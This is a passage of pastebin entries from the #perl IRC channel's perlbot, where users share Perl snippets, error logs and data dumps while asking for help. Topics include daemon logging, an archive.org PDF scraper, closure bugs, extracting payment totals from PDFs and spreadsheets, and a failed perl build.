# posts

who: wmp
where: localhost:perlbot:#perl
paste:
$VAR1 = {
          'portalpage' => [
                            {
                              'sequence' => '\\N',
                              'description' => '\\N',
                              'username' => 'dapalimo',
                              'layout' => 'A
',
                              'pagename' => 'Time Sheet',
                              'fav_count' => '1',
                              'ppversion' => '3',
                              'id' => '21354'
                            }
                          ],
          'cwd_membership' => [
                                {
                                  'child_name' => 'dapalino',
                                  'membership_type' => 'GROUP_USER',
                                  'lower_child_name' => 'dapalino',
                                  'parent_name' => 'jira-users',
                                  'group_type' => '\\N',
                                  'directory_id' => '4
',
                                  'parent_id' => '11118',
                                  'child_id' => '19890',
                                  'id' => '39853',
                                  'lower_parent_name' => 'jira-users'
                                },
                                {
                                  'child_name' => 'dapalino',
                                  'membership_type' => 'GROUP_USER',
                                  'lower_child_name' => 'dapalino',
                                  'parent_name' => 'AFB-developers',
                                  'group_type' => '\\N',
                                  'directory_id' => '4
',
                                  'parent_id' => '11525',
                                  'child_id' => '19890',
                                  'id' => '40052',
                                  'lower_parent_name' => 'afb-developers'
                                },


who: wmp
where: localhost:perlbot-magnet:#perl
paste:
%date = {
          'portalpage' => [
                            {
                              'sequence' => '\\N',
                              'description' => '\\N',
                              'username' => 'dapalimo',
                              'layout' => 'A
',
                              'pagename' => 'Time Sheet',
                              'fav_count' => '1',
                              'ppversion' => '3',
                              'id' => '21354'
                            }
                          ],
          'cwd_membership' => [
                                {
                                  'child_name' => 'dapalino',
                                  'membership_type' => 'GROUP_USER',
                                  'lower_child_name' => 'dapalino',
                                  'parent_name' => 'jira-users',
                                  'group_type' => '\\N',
                                  'directory_id' => '4
',
                                  'parent_id' => '11118',
                                  'child_id' => '19890',
                                  'id' => '39853',
                                  'lower_parent_name' => 'jira-users'
                                },
                                {
                                  'child_name' => 'dapalino',
                                  'membership_type' => 'GROUP_USER',
                                  'lower_child_name' => 'dapalino',
                                  'parent_name' => 'AFB-developers',
                                  'group_type' => '\\N',
                                  'directory_id' => '4
',
                                  'parent_id' => '11525',
                                  'child_id' => '19890',
                                  'id' => '40052',
                                  'lower_parent_name' => 'afb-developers'
                                },
                            ]
};

%changes = (
    'portalpage' => [
        'username',
    ],
    'cwd_membership' => [
        'child_name',
    ],
);



who: Grotesque
where: localhost:perlbot:#perl
what: how to put timestamps in the test.out
paste:
#!/usr/bin/env perl
use warnings;
use strict;
use Daemon::Control;
 
# 1) create initd file
# ./myapp.fastcgi.initd get_init_file >  /etc/init.d/cat-myapp
#
# 3) install to runlevels
# update-rc.d cat-myapp defaults
 
 
my $app_home = '/var/www/test';
my $perl     = 'perl';
my $program  = $app_home . '/bin/test.pl /var/www/test/config/test.conf';
my $name     = 'ilbot';
my $workers  = 1;
my $pid_file = $app_home . '/test.pid';
my $socket   = $app_home . '/test.socket';
 
Daemon::Control->new({
    name        => $name,
    lsb_start   => '$nginx',
    lsb_stop    => '$nginx',
    lsb_sdesc   => $name,
    lsb_desc    => $name,
    path        => $app_home . '/test.init',
 
    user        => 'www-data',
    group       => 'www-data',
    directory   => $app_home,
    program     => "$perl $program --nproc $workers --listen $socket",
 
    pid_file    => $pid_file,

    stderr_file => [ '|-', 'print (scalar localtime() . "ERROR: @_\n"', $app_home . '/test.out' ],
    stdout_file => [ '|-', 'print (scalar localtime() . " @_\n")', $app_home . '/test.out' ],

#    stderr_file => [ '|-', print '(scalar localtime() /var/www/test/test.out)' ],
#    stdout_file => [ '|-', print '(scalar localtime() /var/www/test/test.out)' ],

#    stderr_file => [ '|-', 'use Time::Stamp localstamp => { format => "compact" }', $app_home . '/test.out' ],
#    stdout_file => [ '|-', 'use Time::Stamp localstamp => { format => "compact" }', $app_home . '/test.out' ],

#    stderr_file => $app_home . '/test.out',                                                                                          
#    stdout_file => $app_home . '/test.out', 

    fork        => 2,
})->run;
 
 ######
#Can't exec "print (scalar localtime() . " @_\n")": No such file or directory at /usr/local/share/perl/5.14.2/Daemon/Control.pm line 191.
#Failed to open STDOUT with args |- print (scalar localtime() . " @_\n") /var/www/test/test.out: No such file or directory at /usr/local/share/perl/5.14.2/Daemon/Control.pm line 191.
#which is the correct way to make stderr&stdout put timestamps in the test.out?


who: bhelit
where: localhost:perlbot:#perl
what: thot i was past forkbombs ":|
paste:
#!/usr/local/bin/perl
use strict; use warnings;
use Proc::Daemon;
use LWP::UserAgent;
use MKRX::XS;
################################
# ARKI - scrape archive.org pdfs 
#       <:3 )~   ---skrp of MKRX
my $target = '/MINION/ARKI/ARKI_QUE'; my $dump = 'MINION/ARKI/ARKI_dump';
my $pool = '/MINION/ARKI/ARKI_pool'; my $g '/MINION/ARKI/ARKI_g';
my $init = '/MINION/ARKI/ARKI_init';
die "not a $target" unless -e $target; die "not a target dir" unless -d $dump;
die "not a pool dir" unless -d $pool; die "not a g dir" unless -d $g;
my $base = "http://archive.org/download";
# DAEMONIZE #####################
$daemon = Proc::Daemon->new(
	work_dir     => '/MINION/ARKI',
	child_STDOUT => 'ARKI_LOG',
	child_STDERR => '+>>ARKI_DEBUG',
	pid_file     => 'ARKI_PID',
	exec_command => 'perl ARKI.pl',
);
my $pid = $daemon->Init() or die "no pid of init $pid";
# USER AGENT ####################
my $ua = uagent();
# BATCH PROC ###################
#my $rule = File::Find::Rule->file()->start($target);
#while (defined(my $file = $rule->match)){
while (1) {
unless (-e "ARKI_QUE") 
	{ sleep 60; } 
open(my $ifh, '<', $target) or die "Couldn't read $target\n";
open(my $intfh, '<', $init) or die "Couldn't read $target\n";
my @list = readline $ifh; chomp @list; 
unlink $target;
my $count = 0; 
foreach my $i (@list) {
# PAUSE #######################
	if (-e "ARKI_pause")
		{ pause(); }
	print "$i  started\n";
	my $url = "$base/$i/$i.pdf";
	my $response = $ua->get($url, ':content_file'=>"$dump/$i");
   	my $murl = "$base/$i'_meta.xml'";
    	my $mresponse = $ua->get($url, ':content_file'=>"$dump/$i'_meta.xml'");
	my $XS_staus = `XS $dump $pool $g` or die "cant XS $i";
	print "$i  ended\n"; $count++;
	if ($count % 10 == 0) { 
		open(my $initfh, '>', $init);
		print $initfh @array;
		close $initfh; 
	}
}
close $ifh;
unlink $target or die "Cant delete after use: $target";
} 
# SUB ########################
sub pause { 
	my $pausefile = "ARKI_pause";
	open(my $pfh, '<', $pausefile) or die "no $pausefile";
	my $timeout = readline $pfh; chomp $timeout;
	print "sleeping for $timeout\n"; sleep $timeout;
}	
sub uagent {
	LWP::UserAgent->new(
	my $s_ua = LWP::UserAgent->new(
		agent => "Mozilla/50.0.2",
		from => 'punknotdead@wikiark.org',
		timeout => 45,
	);
	return $s_ua;
}


who: bhelit
where: localhost:perlbot:#perl
what: thanks buu
paste:
#!/usr/local/bin/perl
use strict; use warnings;
use Proc::Daemon;
use LWP::UserAgent;
use MKRX::XS;
################################
# ARKI - scrape archive.org pdfs
#       <:3 )~   ---skrp of MKRX
my $target = '/MINION/ARKI/ARKI_QUE'; my $dump = 'MINION/ARKI/ARKI_dump';
my $pool = '/MINION/ARKI/ARKI_pool'; my $g '/MINION/ARKI/ARKI_g';
my $init = '/MINION/ARKI/ARKI_init';
die "not a $target" unless -e $target; die "not a target dir" unless -d $dump;
die "not a pool dir" unless -d $pool; die "not a g dir" unless -d $g;
my $base = "http://archive.org/download";
# DAEMONIZE #####################
$daemon = Proc::Daemon->new(
	work_dir     => '/MINION/ARKI',
	child_STDOUT => 'ARKI_LOG',
	child_STDERR => '+>>ARKI_DEBUG',
	pid_file     => 'ARKI_PID',
);
my $pid = $daemon->Init() or die "no pid of init $pid";
# USER AGENT ####################
my $ua = uagent();
# BATCH PROC ###################
while (1) {
unless (-e "ARKI_QUE")
	{ sleep 60; }
open(my $ifh, '<', $target) or die "Couldn't read $target\n";
open(my $intfh, '<', $init) or die "Couldn't read $target\n";
my @list = readline $ifh; chomp @list;
unlink $target;
my $count = 0;
foreach my $i (@list) {
# PAUSE #######################
	if (-e "ARKI_pause")
		{ pause(); }
	print "$i  started\n";
	my $url = "$base/$i/$i.pdf";
	my $response = $ua->get($url, ':content_file'=>"$dump/$i");
   	my $murl = "$base/$i'_meta.xml'";
    	my $mresponse = $ua->get($url, ':content_file'=>"$dump/$i'_meta.xml'");
	my $XS_staus = `XS $dump $pool $g` or die "cant XS $i";
	print "$i  ended\n"; $count++;
	if ($count % 10 == 0) {
		open(my $initfh, '>', $init);
		foreach (@list)
		    print $initfh "$_\n";
		close $initfh;
	}
}
close $ifh;
unlink $target or die "Cant delete after use: $target";
}
# SUB ########################
sub pause {
	my $pausefile = "ARKI_pause";
	open(my $pfh, '<', $pausefile) or die "no $pausefile";
	my $timeout = readline $pfh; chomp $timeout;
	print "sleeping for $timeout\n"; sleep $timeout;
}
sub uagent {
	LWP::UserAgent->new(
	my $s_ua = LWP::UserAgent->new(
		agent => "Mozilla/50.0.2",
		from => 'punknotdead@wikiark.org',
		timeout => 45,
	);
	return $s_ua;
}


who: bhelit
where: localhost:perlbot:#perl
what: buu do you mean there is still an error?
paste:
#!/usr/local/bin/perl
use strict; use warnings;
use Proc::Daemon;
use LWP::UserAgent;
use MKRX::XS;
################################
# ARKI - scrape archive.org pdfs
#       <:3 )~   ---skrp of MKRX
my $target = '/MINION/ARKI/ARKI_QUEUE'; my $dump = 'MINION/ARKI/ARKI_dump';
my $pool = '/MINION/ARKI/ARKI_pool'; my $g '/MINION/ARKI/ARKI_g';
my $init = '/MINION/ARKI/ARKI_init';
die "not a $target" unless -e $target; die "not a target dir" unless -d $dump;
die "not a pool dir" unless -d $pool; die "not a g dir" unless -d $g;
my $base = "http://archive.org/download";
# DAEMONIZE #####################
$daemon = Proc::Daemon->new(
	work_dir     => '/MINION/ARKI',
	child_STDOUT => 'ARKI_LOG',
	child_STDERR => '+>>ARKI_DEBUG',
	pid_file     => 'ARKI_PID',
);
$daemon->Init();
# USER AGENT ####################
my $ua = uagent();
# BATCH PROC ###################
while (1) {
unless (-e "ARKI_QUEUE")
	{ sleep 60; }
open(my $ifh, '<', $target) or die "Couldn't read $target\n";
open(my $intfh, '<', $init) or die "Couldn't read $target\n";
my @list = readline $ifh; chomp @list;
unlink $target;
my $count = 0;
foreach my $i (@list) {
# PAUSE #######################
	if (-e "ARKI_pause")
		{ pause(); }
	print "$i  started\n";
	my $url = "$base/$i/$i.pdf";
	my $response = $ua->get($url, ':content_file'=>"$dump/$i");
   	my $murl = "$base/$i'_meta.xml'";
    	my $mresponse = $ua->get($url, ':content_file'=>"$dump/$i'_meta.xml'");
	my $XS_staus = `XS $dump $pool $g` or die "cant XS $i";
	print "$i  ended\n"; $count++;
	if ($count % 10 == 0) {
		open(my $initfh, '>', $init);
        foreach (@list)
		    print $initfh "$_\n";
		close $initfh;
	}
}
close $ifh;
unlink $target or die "Cant delete after use: $target";
}
# SUB ########################
sub pause {
	my $pausefile = "ARKI_pause";
	open(my $pfh, '<', $pausefile) or die "no $pausefile";
	my $timeout = readline $pfh; chomp $timeout;
	print "sleeping for $timeout\n"; sleep $timeout;
}
sub uagent {
	LWP::UserAgent->new(
	my $s_ua = LWP::UserAgent->new(
		agent => "Mozilla/50.0.2",
		from => 'punknotdead@wikiark.org',
		timeout => 45,
	);
	return $s_ua;
}


who: nshp
where: localhost:perlbot:#perl
what: use v5.24; use warnings; use strict; su
paste:
use v5.24;
use warnings;
use strict;

sub f {
    my $foo = $_ // shift;

    open my $fh, '<', $0 or die $!;

    while (<$fh>) {
        print $foo;
        print;
    }
}

sub g {
    my $foo = $_ // shift;

    open my $fh, '<', $0 or die $!;

    for (qw(a b c)) {
        print $foo;
        say;
    }
}

# Works
g 'test';
# Works
map { g } qw(a b c);

# Works
f 'test';
# Modification of read-only value?
map { f } qw(a b c);


who: Grinnz
where: localhost:perlbot:#perl
what: actually works on eval
paste:
use v5.24;
use warnings;
use strict;

sub f {
    my $foo = $_ // shift;

    open my $fh, '<', 'hello.txt' or die $!;

    while (<$fh>) {
        say $foo;
        say;
    }
}

sub g {
    my $foo = $_ // shift;

    open my $fh, '<', 'hello.txt' or die $!;

    for (qw(a b c)) {
        say $foo;
        say;
    }
}

# Works
g 'test';
# Works
map { g } qw(a b c);

# Works
f 'test';
# Modification of read-only value?
map { f } qw(a b c);


who: ironslabholes
what: can i expect an action like this?
paste:
#Crawl over a Spreadsheet
# Concatenate important values
use strict; use warnings;
use Spreadsheet::ParseExcel;
use constant { ICOL => 0, PCOL => 6, };
my ($l, $book) = @ARGV;
open(my $log, '>>', $l) or die "ARG1 ERROR NEED LOGFILE";
my $parser = Spreadsheet::ParseExcel->new();
my $workbook = $parser->parse($book);
my $worksheet = $workbook->worksheet(0);
my ($row_min, $lastrow) = $worksheet->row_range();
my @payment; # FINAL EXTRACTON ARRAY
# GET BATCH NUMBER (4th part of final extraction string)
my $batch_cell = $worksheet->get_cell(0, 5);
my $batch_value = $batch_cell->value();
$batch_value =~ s/Batch number //;
# POPULATE ARRAYS
my @ttl = ("Payment - Check Total:", "Payment - Other Total:", "Payment Total:", "BatchTotal:", "Payment - Cash Total:", "Payment - Visa Total:", "Payment - MasterCard Total:", "Payment - Discover Total:", "Payment - American Express Total:", "Payment - Other Card Total:");
my %pay = map{$_ => undef} @ttl;
for my $row (0..$lastrow) {
   my $icell = $worksheet->get_cell($row, ICOL);
   my $ivalue = $icell->value();
   next unless (exists $pay{$ivalue});
   my $pay_cell = $worksheet->get_cell($row, PCOL);
   my $ttl_pay = $pay_cell->value();
   $ttl_pay=~ s/\$//; $ttl_pay =~ s/\(//; $ttl_pay =~ s/\)//; $ttl_pay =~ s/\,//;
   print "$ivalue\n";
   my $last_loop = $ivalue =~ s/ Total://;
   print "$last_loop\n";
   next if ($ttl_pay ne "" || $ttl_pay ne "0.00");
    my $amt = $ttl_pay;
    my $payttl = "$ivalue $amt $last_loop $batch_value";
    push(@payment, $payttl);
    my $loop_row =  $row;
    my $success_value = 0; my $success_cell = 0;
}


where: localhost:perlbot:#perl
paste:
#!/usr/bin/env perl
# Command System
#
sub command_help {
	my %q = (
		help => "help/help/help",
		deeper => [],
		action => \&print_text,
		init => undef,
		data => undef
	);

	# go to fill out what's within init
	if (defined $q{init}) {
		$q{data} = $q{init}->(); # go do the thing, and store the 
					 # result in $q{data}
	}

	return \%q;
}

sub make_commands {
	my %commands = (
		"help" => undef,
		"init" => undef,
		"action" => undef,
		"data" => undef,
		"deeper" => {
			'help' => \%{command_help()},
		}
	);

	return \%commands;
}


# The goal is to print execute the 'action' in command_help, with the
# 'help' in command_help
my %commands = %{make_commands()};
my %tmp = $commands{deeper}{help}{action};

print $tmp{help} . "\n";



sub print_text {
	print $_ . "\n";
}


where: localhost:perlbot:#perl
paste:
#!/usr/bin/env perl
# Command System
#
sub command_help {
	my %q = (
		help => "help/help/help",
		deeper => [],
		action => \&print_text,
		init => undef,
		data => undef
	);

	# go to fill out what's within init
	if (defined $q{init}) {
		$q{data} = $q{init}->(); # go do the thing, and store the 
					 # result in $q{data}
	}

	return \%q;
}

sub make_commands {
	my %commands = (
		"help" => undef,
		"init" => undef,
		"action" => undef,
		"data" => undef,
		"deeper" => {
			'help' => \%{command_help()},
		}
	);

	return \%commands;
}


# The goal is to print execute the 'action' in command_help, with the
# 'help' in command_help
my %commands = %{make_commands()};
my %tmp = %{$commands{deeper}{help}};

print $tmp{action}->($tmp{help}) . "\n";



sub print_text {
	print $_ . "\n";
}


who: mad_hatter
where: localhost:perlbot:#perl
paste:
uto-guessed '5.24.1'
 
Beginning of configuration questions for perl5.
 
Checking echo to see how to suppress newlines...
...using \c
The star should be here-->*
 
First let's make sure your kit is complete.  Checking...
Looks good...

This installation shell script will examine your system and ask you questions
to determine how the perl5 package should be installed. If you get
stuck on a question, you may use a ! shell escape to start a subshell or
execute a command.  Many of the questions will have default answers in square
brackets; typing carriage return will give you the default.

On some of the questions which ask for file or directory names you are allowed
to use the ~name construct to specify the login directory belonging to "name",
even if you don't have a shell which knows about that.  Questions where this is
allowed will be marked "(~name ok)".

[Type carriage return to continue]  

The prompter used in this script allows you to use shell variables and
backticks in your answers.  You may use $1, $2, etc...  to refer to the words
in the default answer, as if the default line was a set of arguments given to a
script shell.  This means you may also use $* to repeat the whole default line,
so you do not have to re-type everything to add something to the default.

Every time there is a substitution, you will have to confirm.  If there is an
error (e.g. an unmatched backtick), the default answer will remain unchanged
and you will be prompted again.

If you are in a hurry, you may run 'Configure -d'.  This will bypass nearly all
the questions and use the computed defaults (or the previous answers if there
was already a config.sh file). Type 'Configure -h' for a list of options.
You may also start interactively and then answer '& -d' at any prompt to turn
on the non-interactive behaviour for the remainder of the execution.

[Type carriage return to continue]  

Much effort has been expended to ensure that this shell script will run on any
Unix system.  If despite that it blows up on yours, your best bet is to edit
Configure and run it again.  If you can't run Configure for some reason,
you'll have to generate a config.sh file by hand.  Whatever problems you
have, let me (perlbug@perl.org) know how I blew it.

This installation script affects things in two ways:

1) it may do direct variable substitutions on some of the files included
   in this kit.
2) it builds a config.h file for inclusion in C programs.  You may edit
   any of these files as the need arises after running this script.

If you make a mistake on a question, there is no easy way to back up to it
currently.  The easiest thing to do is to edit config.sh and rerun all the SH
files.  Configure will offer to let you do this before it runs the SH files.

[Type carriage return to continue]  
 
Locating common programs...
awk is in /usr/bin/awk.
cat is in /bin/cat.
chmod is in /bin/chmod.
comm is in /usr/bin/comm.
cp is in /bin/cp.
echo is in /bin/echo.
expr is in /usr/bin/expr.
grep is in /bin/grep.
ls is in /bin/ls.
mkdir is in /bin/mkdir.
rm is in /bin/rm.
sed is in /bin/sed.
sort is in /usr/bin/sort.
touch is in /usr/bin/touch.
tr is in /usr/bin/tr.
uniq is in /usr/bin/uniq.
 
Don't worry if any of the following aren't found...
ar is in /usr/bin/ar.
bison is in /usr/bin/bison.
I don't see byacc out there, offhand.
cpp is in /usr/bin/cpp.
I don't see csh out there, either.
date is in /bin/date.
egrep is in /bin/egrep.
I don't see gmake out there, either.
gzip is in /bin/gzip.
less is in /usr/bin/less.
ln is in /bin/ln.
make is in /usr/bin/make.
more is in /bin/more.
nm is in /usr/bin/nm.
nroff is in /usr/bin/nroff.
perl is in /usr/bin/perl.
pg is in /usr/bin/pg.
test is in /usr/bin/test.
uname is in /bin/uname.
zip is in /usr/bin/zip.
Substituting less -R for less.
Using the test built into your sh.
 
Checking compatibility between /bin/echo and builtin echo (if any)...
They are not compatible!  You are probably running ksh on a non-USG system.
I'll have to use /bin/echo instead of the builtin, since Bourne shell doesn't
have echo built in and we may have to run some Bourne shell scripts.  That
means I'll have to use '-n' to suppress newlines now.  Life is ridiculous.

The star should be here-->*
The following message is sponsored by

  Dresden.pm<--The stars should be here.

Dear Perl user, system administrator or package
maintainer, the Perl community sends greetings to
you. Do you (emblematical) greet back [Y/n]? n

 
Symbolic links are supported.
 
Checking how to test for symbolic links...
You can test for symbolic links with 'test -h'.
 
Checking for cross-compile
No targethost for running compiler tests against defined, running locally
 
Good, your tr supports [:lower:] and [:upper:] to convert case.
Using [:upper:] and [:lower:] to convert case.
/usr/bin/ld: cannot find crt1.o: No such file or directory
/usr/bin/ld: cannot find crti.o: No such file or directory
/usr/bin/ld: cannot find -lc
/usr/bin/ld: cannot find crtn.o: No such file or directory
collect2: error: ld returned 1 exit status
You need to find a working C compiler.
Either (purchase and) install the C compiler supplied by your OS vendor,
or for a free C compiler try http://gcc.gnu.org/
I cannot continue any further, aborting.
##### Brew Failed #####


who: ironslabholes
where: localhost:perlbot:#perl
what: test code
paste:

$0.00

$143.23

$0.00



Page 1 of 2 # REMOVE UNTIL

Generated 1/18/2017 01:12:56 PM

**D - Voided before Day Close **   **R - Repost Item **    **RVS - Reversed Item**    **V - Voided after Day Close**

Batch Trial Balance # HERE

Batch number 885


who: ironslabholes
where: localhost:perlbot:#perl
what: perlpilot
paste:
use warnings;
use strict;
use CAM::PDF;

my $file = 'tst.pdf';
my $doc; my $p; my $str;
$doc = CAM::PDF->new($file) || die "$CAM::PDF::errstr\n";
open(my $fh, '>>', 'tmp1.txt');
my $first = 'Page 1 of 2'; my $last = 'Balance';
foreach $p ($doc->rangeToArray(1,$doc->numPages('1')))
{
      $str = $doc->getPageText($p);
      CAM::PDF->asciify(\$str);
      print $fh $str;
      $str =~ s/$first.*$last//sm;
}


who: perlpilot
where: localhost:perlbot:#perl
what: for ironslabholes
paste:
#!/usr/bin/env perl

use warnings;
use strict;
use 5.010;

my $str = <<'EOL';
$0.00

$143.23

$0.00



Page 1 of 2 # REMOVE UNTIL

Generated 1/18/2017 01:12:56 PM

**D - Voided before Day Close **   **R - Repost Item **    **RVS - Reversed Item**    **V - Voided after Day Close**

Batch Trial Balance # HERE

Batch number 885
EOL

say $str;

my $first = 'Page 1 of 2'; my $last = 'Balance';
$str =~ s/$first.*$last//s;

say '-' x 40;
say $str;



who: anno
where: localhost:perlbot:#perl
what: index/rindex solution
paste:
use warnings;
use strict;
use CAM::PDF;

my $file = 'tst.pdf';
my $doc; my $p; my $str;
$doc = CAM::PDF->new($file) || die "$CAM::PDF::errstr\n";
open(my $fh, '>>', 'tmp1.txt');
my $first = 'Page 1 of 2'; my $last = 'Balance';
foreach $p ($doc->rangeToArray(1,$doc->numPages('1')))
{
      $str = $doc->getPageText($p);
      CAM::PDF->asciify(\$str);
      print $fh $str;
      
      my $where = index($str, $first);
      if ( $where < 0  ) {
          warn "No '$first' in string";
          next;
      }
      my $extract = substr($str, 0, $where);
      $where = rindex($str, $last);
      if ( $where < 0 ) {
          warn "No '$last' in string"
          next;
      }
      $extract .= substr($str, $where + length($last));
      # do whatever with $extract
}


who: ironslabholes
where: localhost:perlbot:#perl
what: am I going the right way? ish
paste:
CAM::PDF outputs the data with each element on its own line;
All day but I finally scrubbed a pdf for all its coherent data;

Are capture groups the answer?
$line++ next; is just an idea im trying to articulate in perl

count = 0;
foreach my $line (@line) {
    if ($line eq /[^A-Z],[A-Z$]/) {
        $count++;
        $name[$count] = $line;
        $date_of_service[$count] = $line++;
        $line++ next; $line++ next;
        $payment[$count] = $line;
        $line++ next;
    }

NAME: BEN,STILLDERRIT
Date_of_Service: 01/02/2017
Payment: $35.04

# DATA FILE
BEN,STILLDERRIT
01/02/2017
PP
$0.00
$35.04
$0.00
BUYN,MARVIN
01/01/2017
PP
$0.00
$15.05
$0.00
DEAD,MAUS
01/14/2017
PP
$0.00
$50.30
$0.00


who: ironslabholes
where: localhost:perlbot:#perl
what: thanks Grinnz
paste:
use strict; use warnings;

open(my $fh, "<", 'tmp2.txt');
my @line = readline $fh; chomp @line; close $fh;
my @name; my @date_of_service; my @payment;
my $count = 0;
while(my $i < $#line) {
    if ($line[$i] eq /[^A-Z],[A-Z$]/) { # ill refine it but a great start for Fri :D
        $count++;
        $name[$count] = $line[$i];
        $date_of_service[$count] = $line[$i++];
        $i++; $i++;
        $payment[$count] = $line[$i];
        $i++;
    }
}


who: gry
where: localhost:perlbot:#perl
paste:
# ~ $ cat avg.pl
use strict;
use warnings;

my @vars = ('AVGU', 'AVGV', 'AVGW','AVGT', 'AVGUU', 'AVGUV', 'AVGUW', 'AVGVV', 'AVGVW', 'AVGWW', 'AVGUT', 'AVGVT', 'AVGWT', 'AVGTT', 'AVGDVIS', 'AVGTVIS', 'AVGCV');

foreach my $var (@vars) {
    printf "{%s}=({%s}[1]+{%s}[2]+{%s}[3]+{%s}[4]+{%s}[5]+{%s}[6]+{%s}[7])/7\n", ($var) x 8;
}
#~ $ perl avg.pl
#{AVGU}=({AVGU}[1]+{AVGU}[2]+{AVGU}[3]+{AVGU}[4]+{AVGU}[5]+{AVGU}[6]+{AVGU}[7])/7
#{AVGV}=({AVGV}[1]+{AVGV}[2]+{AVGV}[3]+{AVGV}[4]+{AVGV}[5]+{AVGV}[6]+{AVGV}[7])/7
#{AVGW}=({AVGW}[1]+{AVGW}[2]+{AVGW}[3]+{AVGW}[4]+{AVGW}[5]+{AVGW}[6]+{AVGW}[7])/7
#{AVGT}=({AVGT}[1]+{AVGT}[2]+{AVGT}[3]+{AVGT}[4]+{AVGT}[5]+{AVGT}[6]+{AVGT}[7])/7
#{AVGUU}=({AVGUU}[1]+{AVGUU}[2]+{AVGUU}[3]+{AVGUU}[4]+{AVGUU}[5]+{AVGUU}[6]+{AVGUU}[7])/7
#{AVGUV}=({AVGUV}[1]+{AVGUV}[2]+{AVGUV}[3]+{AVGUV}[4]+{AVGUV}[5]+{AVGUV}[6]+{AVGUV}[7])/7
#{AVGUW}=({AVGUW}[1]+{AVGUW}[2]+{AVGUW}[3]+{AVGUW}[4]+{AVGUW}[5]+{AVGUW}[6]+{AVGUW}[7])/7
#{AVGVV}=({AVGVV}[1]+{AVGVV}[2]+{AVGVV}[3]+{AVGVV}[4]+{AVGVV}[5]+{AVGVV}[6]+{AVGVV}[7])/7
#{AVGVW}=({AVGVW}[1]+{AVGVW}[2]+{AVGVW}[3]+{AVGVW}[4]+{AVGVW}[5]+{AVGVW}[6]+{AVGVW}[7])/7
#{AVGWW}=({AVGWW}[1]+{AVGWW}[2]+{AVGWW}[3]+{AVGWW}[4]+{AVGWW}[5]+{AVGWW}[6]+{AVGWW}[7])/7
#{AVGUT}=({AVGUT}[1]+{AVGUT}[2]+{AVGUT}[3]+{AVGUT}[4]+{AVGUT}[5]+{AVGUT}[6]+{AVGUT}[7])/7
#{AVGVT}=({AVGVT}[1]+{AVGVT}[2]+{AVGVT}[3]+{AVGVT}[4]+{AVGVT}[5]+{AVGVT}[6]+{AVGVT}[7])/7
#{AVGWT}=({AVGWT}[1]+{AVGWT}[2]+{AVGWT}[3]+{AVGWT}[4]+{AVGWT}[5]+{AVGWT}[6]+{AVGWT}[7])/7
#{AVGTT}=({AVGTT}[1]+{AVGTT}[2]+{AVGTT}[3]+{AVGTT}[4]+{AVGTT}[5]+{AVGTT}[6]+{AVGTT}[7])/7
#{AVGDVIS}=({AVGDVIS}[1]+{AVGDVIS}[2]+{AVGDVIS}[3]+{AVGDVIS}[4]+{AVGDVIS}[5]+{AVGDVIS}[6]+{AVGDVIS}[7])/7
#{AVGTVIS}=({AVGTVIS}[1]+{AVGTVIS}[2]+{AVGTVIS}[3]+{AVGTVIS}[4]+{AVGTVIS}[5]+{AVGTVIS}[6]+{AVGTVIS}[7])/7
#{AVGCV}=({AVGCV}[1]+{AVGCV}[2]+{AVGCV}[3]+{AVGCV}[4]+{AVGCV}[5]+{AVGCV}[6]+{AVGCV}[7])/7
#~ $


who: ology
where: localhost:perlbot:#perl
what: hyamada: Works for me
paste:
#!/usr/bin/env perl
use strict;
use warnings;

use Class::Inspector;

my $methods = Class::Inspector->methods( 'Class::Inspector', 'full', 'public' );

use Data::Dumper;print Dumper$methods;

__END__
$VAR1 = [
          'Class::Inspector::children',
          'Class::Inspector::filename',
          'Class::Inspector::function_exists',
          'Class::Inspector::function_refs',
          'Class::Inspector::functions',
          'Class::Inspector::installed',
          'Class::Inspector::loaded',
          'Class::Inspector::loaded_filename',
          'Class::Inspector::methods',
          'Class::Inspector::recursive_children',
          'Class::Inspector::resolved_filename',
          'Class::Inspector::subclasses'
        ];


where: localhost:perlbot:#perl
what: seems to show plenty of methods here
paste:
 $ perl -E'use Class::Inspector; use Net::DNS::RR::DNSKEY; say for @{Class::Inspector->methods("Net::DNS::RR::DNSKEY")}'
AUTOLOAD
BASE64
DESTROY
LIB
RRFIXEDSZ
_algbyname
_algbyval
_annotation
_decode_rdata
_defaults
_encode_rdata
_format_rdata
_new_hash
_new_string
_parse_rdata
_subclass
_wrap
algorithm
canonical
carp
class
classbyname
classbyval
confess
croak
decode
dump
ednsoptionbyname
ednsoptionbyval
encode
flags
generic
get_rrsort_func
key
keybin
keylength
keytag
name
new
opcodebyname
opcodebyval
owner
plain
print
privatekeyname
protocol
publickey
rcodebyname
rcodebyval
rdata
rdatastr
rdlength
rdstring
revoke
sep
set_rrsort_func
signame
string
token
ttl
type
typebyname
typebyval
zone
✓tom@


who: ironslabholes
where: localhost:perlbot:#perl
what: xenu
paste:
use strict;
use warnings;
use 5.010;
use Foo;

say hi_foo();    # Foo
say hi();         # main
 
sub hi {
    return "main";
}
 

# ORIGINAL ###########
 
use strict;
use warnings;
use 5.010;
 
sub hi {
    return "main";
}
 
use Foo;
 
say main::hi();   # main
say Foo::hi();    # Foo
say hi();         # main


who: tentkls_in_casca
where: localhost:perlbot:#perl
what: populate a large pool into external driv
paste:
# This subroutine is horrendously slow/massive cpu
# MISSION: that a large pool 10T-50T and back it up into external drives.
# PURPOSE: populate a the list by size requested, return list & leftover_list
elsif ($comm eq 'pop') {
		my $target_size = $string;
		my %pop = %{$master{"size"}};
		my $pfh = crfile($target_size);
		my $ofh = crfile("leftover_$target_size");
		my $cur_size = 0; my @leftokeys = @keyset;
		foreach my $key (@keyset) {
			my $iter_amt = $pop{$key};
			$cur_size += $iter_amt;
			if ($cur_size < $target_size) {
				my $index = 0; 
				$index++ until $keyset[$index] eq $key;
				splice(@keyset, $index, 1);
				print $pfh "$key:$iter_amt:$cur_size\n";
			}
			else 
				{ print $ofh "$key:$iter_amt:$cur_size\n"; }
		}
		close $pfh; close $ofh;
}


paste:
my @lines = ("ATL CAN 12345", "CAN ATL 54321", "FOO BAR 666666");

$_="SECRET PASSWORD";
my @numbers = map {(split ' ', $_)[2]} grep {$_=~/atl/i} @lines;

#make the pastebin show it nicely
print Dumper(
{underscore => $_,
 numbers => \@numbers,
 lines => \@lines,
}
);


paste:
# This is simulated below because the pastebin won't fetch webpages. get rid of the two lines that start with a = if copying and pasting

=for comment
    foreach (@games) {
